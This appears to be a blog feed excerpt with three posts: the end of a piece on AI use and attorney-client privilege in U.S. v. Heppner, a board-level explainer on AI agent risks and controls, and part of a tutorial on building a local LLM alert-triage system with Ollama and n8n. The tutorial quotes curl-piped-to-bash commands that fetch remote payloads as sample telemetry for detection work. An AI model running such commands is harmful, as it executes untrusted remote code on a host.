<p>Privilege requires <strong>confidentiality</strong>. If you voluntarily disclose information to a third party (including a consumer AI platform), you waive privilege—unless that third party is an agent of your attorney, operating under a confidentiality agreement, and acting on your lawyer’s behalf.</p>

<p>In <em>Heppner</em>, Claude was none of those things. The platform’s terms said inputs were not confidential. Heppner used the tool on his own, not at his lawyer’s direction. The privilege elements were missing.</p>

<h2 id="the-broader-lesson">The Broader Lesson</h2>

<p>This is not just a criminal defense problem. The same logic applies to:</p>

<ul>
  <li><strong>Contract negotiations</strong>: “Can I share our negotiation strategy with a chatbot to draft a counteroffer?”</li>
  <li><strong>Regulatory inquiries</strong>: “Can I ask an AI to help me draft a response to a regulatory notice?”</li>
  <li><strong>Internal investigations</strong>: “Can I use AI to summarize witness interview notes?”</li>
</ul>

<p>If the AI platform is a third party, and its terms say user inputs are not confidential, then privilege is at risk. If you share sensitive facts, legal strategy, or privileged communications into that tool, you may be disclosing those facts to a third party—and privilege does not cover voluntary third-party disclosure.</p>

<h2 id="what-boards-should-ask">What Boards Should Ask</h2>

<ol>
  <li><strong>What AI platforms are our executives and legal teams using?</strong> Are they consumer tools or enterprise tools with confidentiality protections?</li>
  <li><strong>Do our AI platform contracts protect confidentiality?</strong> Do the terms say user inputs are private, not used for training, and not shared with third parties?</li>
  <li><strong>Do we have a policy on AI and privilege?</strong> Does it say: no privileged facts, no client names, no litigation strategy into consumer tools unless approved?</li>
  <li><strong>Are we treating AI prompts like sensitive business records?</strong> If an AI prompt contains strategy, risk assessments, or legal analysis, it may be discoverable in litigation or investigations.</li>
</ol>

<hr />

<p><strong>Are your teams treating AI prompts like sensitive business records?</strong> I deliver board-level courses and consult on AI governance, legal risk, and privilege issues. <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>United States v. Heppner, No. 1:25-cr-00503-JSR, Order (S.D.N.Y. Feb. 17, 2026)</strong> — U.S. District Court, Southern District of New York — <a href="https://jlellis.net/wp-content/uploads/2026/02/USA-v-Heppner-Order-2026-02-17-AI-Not-Privileged.pdf">https://jlellis.net/wp-content/uploads/2026/02/USA-v-Heppner-Order-2026-02-17-AI-Not-Privileged.pdf</a></li>
  <li><strong>The Intersection of AI and Attorney-Client Privilege—A Cautionary Tale</strong> — Ogletree Deakins — <a href="https://ogletree.com/insights-resources/blog-posts/the-intersection-of-ai-and-attorney-client-privilege-a-cautionary-tale/">https://ogletree.com/insights-resources/blog-posts/the-intersection-of-ai-and-attorney-client-privilege-a-cautionary-tale/</a></li>
  <li><strong>Your AI Conversations Are Not Privileged: What a New SDNY Ruling Means for Every Lawyer and Client</strong> — Jones Walker LLP — <a href="https://www.joneswalker.com/en/insights/blogs/ai-law-blog/your-ai-conversations-are-not-privileged-what-a-new-sdny-ruling-means-for-every.html">https://www.joneswalker.com/en/insights/blogs/ai-law-blog/your-ai-conversations-are-not-privileged-what-a-new-sdny-ruling-means-for-every.html</a></li>
  <li><strong>AI, Privilege, and the Heppner Ruling: What the Court Actually Held—And How to Structure AI Use Safely</strong> — Venable LLP — <a href="https://www.venable.com/insights/publications/2026/02/ai-privilege-and-the-heppner-ruling-what-the-court">https://www.venable.com/insights/publications/2026/02/ai-privilege-and-the-heppner-ruling-what-the-court</a></li>
  <li><strong>Use of Generative AI in the Law: Lessons from Two Federal Cases</strong> — American Bar Association — <a href="https://www.americanbar.org/groups/litigation/resources/newsletters/privacy-data-security/generative-ai-in-the-law/">https://www.americanbar.org/groups/litigation/resources/newsletters/privacy-data-security/generative-ai-in-the-law/</a></li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="AI" /><category term="attorney-client privilege" /><category term="work-product doctrine" /><category term="confidentiality" /><category term="legal risk" /><category term="U.S. v. Heppner" /><category term="third-party disclosure" /><summary type="html"><![CDATA[If the AI is a third party, the privilege analysis changes fast.]]></summary></entry><entry><title type="html">AI Agents Explained: From Chatbots to Autonomous Decision-Makers</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/ai-agents-explained/" rel="alternate" type="text/html" title="AI Agents Explained: From Chatbots to Autonomous Decision-Makers" /><published>2026-07-06T06:00:00+00:00</published><updated>2026-07-06T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/ai-agents-explained</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/ai-agents-explained/"><![CDATA[<p>“Agent” is the most overused word in AI marketing right now. For boards, the practical difference is simple: <strong>a chatbot talks; an agent can act.</strong> The moment an AI system is allowed to trigger workflows, call APIs, write tickets, change configurations, or contact customers—your risk model changes.</p>

<!--more-->

<h2 id="chatbot-vs-workflow-vs-agent-a-clean-separation">Chatbot vs Workflow vs Agent (A Clean Separation)</h2>

<h3 id="chatbot">Chatbot</h3>
<ul>
  <li><strong>Does:</strong> answers, drafts, summarizes</li>
  <li><strong>Doesn’t:</strong> execute actions in external systems</li>
  <li><strong>Primary risks:</strong> misinformation, leakage, reputational content errors</li>
</ul>

<h3 id="workflow-automation">Workflow automation</h3>
<ul>
  <li><strong>Does:</strong> follows deterministic steps you defined</li>
  <li><strong>Primary risks:</strong> classic automation errors and access control mistakes</li>
</ul>

<h3 id="agentic-ai-agent">Agentic AI (agent)</h3>
<ul>
  <li><strong>Does:</strong> plans multi-step work and uses tools (email, web, ticketing, databases, code)</li>
  <li><strong>Primary risks:</strong> excessive agency, over-privilege, prompt injection, unpredictable tool use, action loops</li>
</ul>

<p>OWASP explicitly calls out “Excessive Agency” as a major risk category for LLM applications (<a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/">OWASP LLM Top 10 2025</a>).</p>

<h2 id="why-agents-are-attractive-and-why-they-fail">Why Agents Are Attractive (and Why They Fail)</h2>

<p>Agents are attractive because they can:</p>

<ul>
  <li>reduce coordination costs (fewer handoffs)</li>
  <li>do “glue work” across tools</li>
  <li>operate continuously and at speed</li>
</ul>

<p>They fail when:</p>

<ul>
  <li>they are given broad access “for convenience”</li>
  <li>tool results are not validated</li>
  <li>the system can’t be interrupted safely</li>
  <li>logs are insufficient to reconstruct actions</li>
</ul>

<h2 id="the-board-relevant-control-set-for-agents">The Board-Relevant Control Set for Agents</h2>

<p>If management wants agentic systems, ask for these controls up front:</p>

<h3 id="1-least-privilege-by-design">1) Least privilege by design</h3>
<ul>
  <li>narrow scopes per tool</li>
  <li>time-bound credentials</li>
  <li>deny-by-default on sensitive actions</li>
</ul>

<h3 id="2-human-approval-on-critical-actions">2) Human approval on critical actions</h3>
<p>Examples: customer communications, payments, policy changes, production changes, legal commitments.</p>

<h3 id="3-stop-button-and-bounded-execution">3) “Stop button” and bounded execution</h3>
<ul>
  <li>kill switch</li>
  <li>maximum steps/time/cost per run</li>
  <li>safe failure modes (what happens on uncertainty?)</li>
</ul>

<h3 id="4-monitoring-and-auditability">4) Monitoring and auditability</h3>
<ul>
  <li>tool invocation logs</li>
  <li>anomaly detection on unusual action patterns</li>
  <li>incident response runbooks that include agent actions</li>
</ul>

<p>The UK NCSC’s 2026 guidance on careful adoption of agentic AI services emphasizes starting small, using low-risk tasks first, and applying established cyber security controls (least privilege, limiting scope, temporary credentials, monitoring, and incident planning) (<a href="https://www.ncsc.gov.uk/blogs/thinking-carefully-before-adopting-agentic-ai">NCSC guidance</a>).</p>

<h2 id="when-agents-are-appropriate-and-when-theyre-overkill">When Agents Are Appropriate (and When They’re Overkill)</h2>

<p>Agents can be appropriate when:</p>

<ul>
  <li>tasks are repetitive and low-impact</li>
  <li>the environment is constrained (limited toolset, limited permissions)</li>
  <li>outcomes can be verified cheaply</li>
</ul>

<p>Agents are usually overkill when:</p>

<ul>
  <li>a deterministic workflow would do</li>
  <li>the system touches high-consequence decisions without clear verification</li>
  <li>the organization cannot monitor or respond to incidents quickly</li>
</ul>

<h2 id="a-board-level-question-that-cuts-through-the-hype">A Board-Level Question That Cuts Through the Hype</h2>

<p>Ask management:</p>

<p><strong>“If this agent makes one wrong action, what is the worst credible outcome—and what control prevents it?”</strong></p>

<p>If the answer is vague, the agent is not ready.</p>

<hr />

<p><strong>If you want to understand agents deeply—and govern them safely—my board courses cover AI agents, risks, and governance frameworks.</strong> I also advise boards and executives designing secure agent deployments. <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>Thinking carefully before adopting agentic AI</strong> — UK NCSC — <a href="https://www.ncsc.gov.uk/blogs/thinking-carefully-before-adopting-agentic-ai">https://www.ncsc.gov.uk/blogs/thinking-carefully-before-adopting-agentic-ai</a></li>
  <li><strong>OWASP Top 10 for LLM Applications 2025</strong> — OWASP — <a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/">https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/</a></li>
  <li><strong>AI Risk Management Framework (overview)</strong> — NIST — <a href="https://www.nist.gov/itl/ai-risk-management-framework">https://www.nist.gov/itl/ai-risk-management-framework</a></li>
  <li><strong>Generative AI Profile (NIST AI 600-1)</strong> — NIST — <a href="https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-generative-artificial-intelligence">https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-generative-artificial-intelligence</a></li>
  <li><strong>ISO/IEC 42001 explained (AI management systems)</strong> — ISO — <a href="https://www.iso.org/cms/%20render/live/en/sites/isoorg/home/insights-news/resources/iso-42001-explained-what-it-is.html">https://www.iso.org/cms/%20render/live/en/sites/isoorg/home/insights-news/resources/iso-42001-explained-what-it-is.html</a></li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="AI agents" /><category term="agentic AI" /><category term="automation" /><category term="least privilege" /><category term="governance" /><category term="cybersecurity" /><category term="human oversight" /><summary type="html"><![CDATA[“Agent” is the most overused word in AI marketing right now. For boards, the practical difference is simple: a chatbot talks; an agent can act. The moment an AI system is allowed to trigger workflows, call APIs, write tickets, change configurations, or contact customers—your risk model changes.]]></summary></entry><entry><title type="html">Building an Autonomous AI SOC: The Local AI Brain (Prompting for Detection)</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/autonomous-ai-soc-local-ai-brain/" rel="alternate" type="text/html" title="Building an Autonomous AI SOC: The Local AI Brain (Prompting for Detection)" /><published>2026-07-03T06:00:00+00:00</published><updated>2026-07-03T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/autonomous-ai-soc-local-ai-brain</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/autonomous-ai-soc-local-ai-brain/"><![CDATA[<p>Time to teach a language model the difference between <code class="language-plaintext highlighter-rouge">curl https://example.com</code> and <code class="language-plaintext highlighter-rouge">curl https://sketchy-c2-server.ru | bash</code>. Spoiler: it’s all in the prompt.</p>

<!--more-->

<h2 id="the-gpu-pass-through-gauntlet">The GPU Pass-Through Gauntlet</h2>

<p>Before we can run inference, we need to solve Proxmox’s most annoying problem: GPU pass-through. NVIDIA drivers throw Error 43 when they detect a hypervisor, because NVIDIA would prefer you buy their $5,000 datacenter GPUs instead of using your gaming card.</p>

<h3 id="step-1-enable-iommu-in-bios">Step 1: Enable IOMMU in BIOS</h3>

<p>Reboot your Proxmox host, enter BIOS, and enable:</p>
<ul>
  <li><strong>Intel:</strong> VT-d</li>
  <li><strong>AMD:</strong> AMD-Vi or IOMMU</li>
</ul>

<p>Save and reboot.</p>

<h3 id="step-2-configure-proxmox-for-iommu">Step 2: Configure Proxmox for IOMMU</h3>

<p>SSH into your Proxmox host:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Edit GRUB</span>
nano /etc/default/grub

<span class="c"># For Intel CPUs, modify GRUB_CMDLINE_LINUX_DEFAULT:</span>
<span class="nv">GRUB_CMDLINE_LINUX_DEFAULT</span><span class="o">=</span><span class="s2">"quiet intel_iommu=on iommu=pt"</span>

<span class="c"># For AMD CPUs:</span>
<span class="nv">GRUB_CMDLINE_LINUX_DEFAULT</span><span class="o">=</span><span class="s2">"quiet amd_iommu=on iommu=pt"</span>

<span class="c"># Update GRUB</span>
update-grub

<span class="c"># Load VFIO modules</span>
<span class="nb">echo</span> <span class="s2">"vfio"</span> <span class="o">&gt;&gt;</span> /etc/modules
<span class="nb">echo</span> <span class="s2">"vfio_iommu_type1"</span> <span class="o">&gt;&gt;</span> /etc/modules
<span class="nb">echo</span> <span class="s2">"vfio_pci"</span> <span class="o">&gt;&gt;</span> /etc/modules
<span class="nb">echo</span> <span class="s2">"vfio_virqfd"</span> <span class="o">&gt;&gt;</span> /etc/modules

<span class="c"># Reboot</span>
reboot
</code></pre></div></div>

<h3 id="step-3-identify-your-gpus-pci-id">Step 3: Identify Your GPU’s PCI ID</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lspci <span class="nt">-nn</span> | <span class="nb">grep</span> <span class="nt">-i</span> nvidia
</code></pre></div></div>

<p>Output example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GA106 [GeForce RTX 3060] [10de:2503] (rev a1)
01:00.1 Audio device [0403]: NVIDIA Corporation GA106 High Definition Audio Controller [10de:228e] (rev a1)
</code></pre></div></div>

<p>Note the IDs: <code class="language-plaintext highlighter-rouge">10de:2503</code> (GPU) and <code class="language-plaintext highlighter-rouge">10de:228e</code> (audio controller).</p>

<h3 id="step-4-blacklist-nvidia-drivers-on-the-host">Step 4: Blacklist NVIDIA Drivers on the Host</h3>

<p>We don’t want the Proxmox host using the GPU—only the VM should.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"blacklist nouveau"</span> <span class="o">&gt;&gt;</span> /etc/modprobe.d/blacklist.conf
<span class="nb">echo</span> <span class="s2">"blacklist nvidia"</span> <span class="o">&gt;&gt;</span> /etc/modprobe.d/blacklist.conf
<span class="nb">echo</span> <span class="s2">"blacklist nvidiafb"</span> <span class="o">&gt;&gt;</span> /etc/modprobe.d/blacklist.conf

<span class="c"># Bind GPU to VFIO at boot</span>
<span class="nb">echo</span> <span class="s2">"options vfio-pci ids=10de:2503,10de:228e"</span> <span class="o">&gt;</span> /etc/modprobe.d/vfio.conf

update-initramfs <span class="nt">-u</span>
reboot
</code></pre></div></div>

<h3 id="step-5-add-gpu-to-the-ollama-vm">Step 5: Add GPU to the Ollama VM</h3>

<p>In the Proxmox web UI:</p>
<ol>
  <li>Select your Ollama VM</li>
  <li>Hardware → Add → PCI Device</li>
  <li>Select your GPU (<code class="language-plaintext highlighter-rouge">01:00.0</code>)</li>
  <li>Check “All Functions” (includes the audio controller)</li>
  <li>Check “Primary GPU” (optional, only if this is the only GPU)</li>
  <li><strong>Important:</strong> Enable “ROM-Bar” and “PCI-Express”</li>
</ol>

<p>Start the VM.</p>

<h3 id="step-6-install-nvidia-drivers-inside-the-vm">Step 6: Install NVIDIA Drivers Inside the VM</h3>

<p>SSH into the Ollama VM (Ubuntu 26.04):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check if GPU is visible</span>
lspci | <span class="nb">grep</span> <span class="nt">-i</span> nvidia
<span class="c"># You should see your GPU listed</span>

<span class="c"># Add NVIDIA driver repository</span>
<span class="nb">sudo </span>add-apt-repository ppa:graphics-drivers/ppa <span class="nt">-y</span>
<span class="nb">sudo </span>apt update

<span class="c"># Install the driver (check nvidia.com for the latest version)</span>
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> nvidia-driver-550

<span class="c"># Reboot the VM</span>
<span class="nb">sudo </span>reboot
</code></pre></div></div>

<p>After reboot:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Verify the driver loaded</span>
nvidia-smi
</code></pre></div></div>

<p>You should see your GPU, VRAM, driver version, and CUDA version. If you see “NVIDIA-SMI has failed because it couldn’t communicate with the NVIDIA driver,” you’re in Error 43 hell.</p>

<h3 id="the-error-43-fix-when-all-else-fails">The Error 43 Fix (When All Else Fails)</h3>

<p>If <code class="language-plaintext highlighter-rouge">nvidia-smi</code> fails, NVIDIA detected the hypervisor. Fix:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># On the Proxmox host, edit the VM config</span>
nano /etc/pve/qemu-server/&lt;VM_ID&gt;.conf

<span class="c"># Add these lines:</span>
args: <span class="nt">-cpu</span> host,kvm<span class="o">=</span>off,hv_vendor_id<span class="o">=</span>proxmox
cpu: host,hidden<span class="o">=</span>1,flags<span class="o">=</span>+pcid

<span class="c"># Save and start the VM</span>
qm start &lt;VM_ID&gt;
</code></pre></div></div>

<p>This masks the hypervisor signature. NVIDIA’s drivers are now fooled into thinking they’re on bare metal.</p>

<p>Run <code class="language-plaintext highlighter-rouge">nvidia-smi</code> again. If it works, we’re done. If not, sacrifice a USB-C cable to the silicon gods and try again.</p>

<h2 id="ollama-deployment-the-inference-server">Ollama Deployment: The Inference Server</h2>

<p>With the GPU working, we can deploy Ollama.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install Ollama (Ubuntu 26.04)</span>
curl <span class="nt">-fsSL</span> https://ollama.ai/install.sh | sh

<span class="c"># Verify installation</span>
ollama <span class="nt">--version</span>

<span class="c"># Pull a model (Llama-3 8B)</span>
ollama pull llama3:8b

<span class="c"># Test inference</span>
ollama run llama3:8b <span class="s2">"What is the MITRE ATT&amp;CK technique for process injection?"</span>
</code></pre></div></div>

<p>If this returns a coherent answer, your GPU is working and the model loaded successfully.</p>

<h3 id="configure-ollama-as-a-service">Configure Ollama as a Service</h3>

<p>By default, Ollama listens on <code class="language-plaintext highlighter-rouge">localhost:11434</code>. We need it to accept connections from n8n (on another VM).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Edit the systemd service</span>
<span class="nb">sudo </span>systemctl edit ollama.service

<span class="c"># Add these lines in the override section:</span>
<span class="o">[</span>Service]
<span class="nv">Environment</span><span class="o">=</span><span class="s2">"OLLAMA_HOST=0.0.0.0:11434"</span>

<span class="c"># Reload and restart</span>
<span class="nb">sudo </span>systemctl daemon-reload
<span class="nb">sudo </span>systemctl restart ollama.service

<span class="c"># Verify it's listening</span>
<span class="nb">sudo </span>ss <span class="nt">-tulnp</span> | <span class="nb">grep </span>11434
</code></pre></div></div>

<p>You should see Ollama listening on <code class="language-plaintext highlighter-rouge">0.0.0.0:11434</code>.</p>

<p><strong>Security note:</strong> Do NOT expose this to the internet. Firewall it to your homelab subnet only.</p>

<h2 id="the-prompt-engineering-problem-making-llms-output-structured-data">The Prompt Engineering Problem: Making LLMs Output Structured Data</h2>

<p>LLMs are trained to output natural language. We need JSON with specific fields:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">confidence_score</code> (integer, 0-100)</li>
  <li><code class="language-plaintext highlighter-rouge">verdict</code> (string: “benign”, “suspicious”, “malicious”)</li>
  <li><code class="language-plaintext highlighter-rouge">reasoning</code> (string: why the model reached this conclusion)</li>
  <li><code class="language-plaintext highlighter-rouge">uncertainty_reason</code> (string: why the model is unsure, if confidence &lt; 80)</li>
</ul>

<p><strong>The naive approach:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>You are a security analyst. Is this command malicious?
Command: curl http://example.com | bash
</code></pre></div></div>

<p><strong>LLM response:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>This command is potentially dangerous because it downloads and executes a script 
from the internet without inspection. It could be malicious, but it depends on 
the source. I would rate this as suspicious.
</code></pre></div></div>

<p>This is useless for automation. We can’t parse “potentially dangerous” or “depends on the source.”</p>

<p><strong>The correct approach:</strong> Force structured output via system prompt and response format.</p>

<h3 id="system-prompt-design">System Prompt Design</h3>

<p>Here’s the prompt template we’ll use:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>You are an expert security detection engineer analyzing potentially malicious activity.

Your task: Analyze the provided telemetry data and determine if it represents malicious, suspicious, or benign behavior.

OUTPUT REQUIREMENTS:
You MUST respond with ONLY valid JSON in this exact format (no markdown, no explanations outside the JSON):

{
  "verdict": "&lt;benign|suspicious|malicious&gt;",
  "confidence_score": &lt;integer 0-100&gt;,
  "reasoning": "&lt;concise explanation of your analysis&gt;",
  "uncertainty_reason": "&lt;if confidence &lt; 80, explain why you are uncertain&gt;",
  "mitre_tactics": ["&lt;MITRE ATT&amp;CK tactic IDs if applicable, empty array if none&gt;"]
}

ANALYSIS CRITERIA:
- Benign: Normal system activity, no indicators of compromise
- Suspicious: Anomalous behavior that could be legitimate or malicious
- Malicious: Clear indicators of attack, exploitation, or unauthorized access

CONFIDENCE GUIDELINES:
- 90-100: High confidence, clear indicators
- 70-89: Moderate confidence, some ambiguity
- 50-69: Low confidence, significant uncertainty
- 0-49: Very low confidence, insufficient data or conflicting signals

If confidence &lt; 80, you MUST populate the "uncertainty_reason" field.

TELEMETRY DATA:
</code></pre></div></div>

<h3 id="example-1-suspicious-command-line">Example 1: Suspicious Command Line</h3>

<p><strong>Telemetry:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"rule_description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Suspicious command execution detected"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"severity"</span><span class="p">:</span><span class="w"> </span><span class="mi">10</span><span class="p">,</span><span class="w">
  </span><span class="nl">"agent_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"web-server-01"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"process_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"bash"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"process_cmdline"</span><span class="p">:</span><span class="w"> </span><span class="s2">"curl http://192.168.1.100:8080/payload.sh | bash"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"www-data"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"parent_process"</span><span class="p">:</span><span class="w"> </span><span class="s2">"apache2"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Full prompt to Ollama:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>You are an expert security detection engineer analyzing potentially malicious activity.

Your task: Analyze the provided telemetry data and determine if it represents malicious, suspicious, or malicious behavior.

OUTPUT REQUIREMENTS:
You MUST respond with ONLY valid JSON in this exact format (no markdown, no explanations outside the JSON):

{
  "verdict": "&lt;benign|suspicious|malicious&gt;",
  "confidence_score": &lt;integer 0-100&gt;,
  "reasoning": "&lt;concise explanation of your analysis&gt;",
  "uncertainty_reason": "&lt;if confidence &lt; 80, explain why you are uncertain&gt;",
  "mitre_tactics": ["&lt;MITRE ATT&amp;CK tactic IDs if applicable, empty array if none&gt;"]
}

TELEMETRY DATA:
{
  "rule_description": "Suspicious command execution detected",
  "severity": 10,
  "agent_name": "web-server-01",
  "process_name": "bash",
  "process_cmdline": "curl http://192.168.1.100:8080/payload.sh | bash",
  "user": "www-data",
  "parent_process": "apache2"
}
</code></pre></div></div>

<p><strong>Expected LLM response:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"verdict"</span><span class="p">:</span><span class="w"> </span><span class="s2">"malicious"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"confidence_score"</span><span class="p">:</span><span class="w"> </span><span class="mi">95</span><span class="p">,</span><span class="w">
  </span><span class="nl">"reasoning"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Web server process (apache2) spawned bash to download and execute a remote script. The user 'www-data' indicates this originated from a web application, likely via command injection. The use of curl piped to bash is a common post-exploitation technique."</span><span class="p">,</span><span class="w">
  </span><span class="nl">"uncertainty_reason"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"mitre_tactics"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"TA0002"</span><span class="p">,</span><span class="w"> </span><span class="s2">"TA0004"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="example-2-ambiguous-activity">Example 2: Ambiguous Activity</h3>

<p><strong>Telemetry:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"rule_description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Multiple authentication failures"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"severity"</span><span class="p">:</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span><span class="w">
  </span><span class="nl">"agent_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ssh-bastion"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"admin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"source_ip"</span><span class="p">:</span><span class="w"> </span><span class="s2">"192.168.1.55"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"failed_attempts"</span><span class="p">:</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span><span class="w">
  </span><span class="nl">"time_window"</span><span class="p">:</span><span class="w"> </span><span class="s2">"30 seconds"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Expected LLM response:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"verdict"</span><span class="p">:</span><span class="w"> </span><span class="s2">"suspicious"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"confidence_score"</span><span class="p">:</span><span class="w"> </span><span class="mi">65</span><span class="p">,</span><span class="w">
  </span><span class="nl">"reasoning"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Five failed SSH authentication attempts from an internal IP (192.168.1.55) within 30 seconds. This could indicate a brute-force attack or a legitimate user with a misconfigured client or forgotten password."</span><span class="p">,</span><span class="w">
  </span><span class="nl">"uncertainty_reason"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Internal IP reduces likelihood of external attack. Failed attempt count is low (5 attempts). Need additional context: is this IP a known admin workstation? Has this user failed authentication before?"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"mitre_tactics"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"TA0006"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Notice: confidence is 65%, so the model populated <code class="language-plaintext highlighter-rouge">uncertainty_reason</code>. This tells our SOAR workflow to escalate to a human instead of auto-blocking.</p>

<h2 id="integrating-ollama-with-n8n">Integrating Ollama with n8n</h2>

<p>Back in n8n, we’ll modify the workflow from Part 2 to call Ollama.</p>

<h3 id="n8n-workflow-update">n8n Workflow Update</h3>

<ol>
  <li><strong>After the Switch node</strong> (which routes by severity), add an <strong>HTTP Request node</strong> for each branch:</li>
</ol>

<p><strong>Node name:</strong> “Analyze with Ollama”</p>

<p><strong>Configuration:</strong></p>
<ul>
  <li>Method: POST</li>
  <li>URL: <code class="language-plaintext highlighter-rouge">http://192.168.1.13:11434/api/generate</code></li>
  <li>Headers:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">Content-Type</code>: <code class="language-plaintext highlighter-rouge">application/json</code></li>
    </ul>
  </li>
  <li>Body (JSON):</li>
</ul>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"model"</span><span class="p">:</span><span class="w"> </span><span class="s2">"llama3:8b"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"You are an expert security detection engineer...</span><span class="se">\n\n</span><span class="s2">TELEMETRY DATA:</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"stream"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
  </span><span class="nl">"format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"json"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<ol>
  <li><strong>Add a Function node</strong> to parse Ollama’s response:</li>
</ol>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Ollama returns a JSON object with a "response" field containing the LLM's output</span>
<span class="kd">const</span> <span class="nx">ollamaResponse</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">$json</span><span class="p">.</span><span class="nx">response</span><span class="p">);</span>

<span class="k">return</span> <span class="p">{</span>
  <span class="p">...</span><span class="nx">ollamaResponse</span><span class="p">,</span>
  <span class="na">original_alert</span><span class="p">:</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">Webhook</span><span class="dl">'</span><span class="p">).</span><span class="nx">item</span><span class="p">.</span><span class="nx">json</span> <span class="c1">// Preserve the original Wazuh alert</span>
<span class="p">};</span>
</code></pre></div></div>

<ol>
  <li><strong>Add another Switch node</strong> to route by confidence score:</li>
</ol>

<ul>
  <li>If <code class="language-plaintext highlighter-rouge">confidence_score &gt;= 90</code> AND <code class="language-plaintext highlighter-rouge">verdict == "malicious"</code>: Route to “Auto-Block”</li>
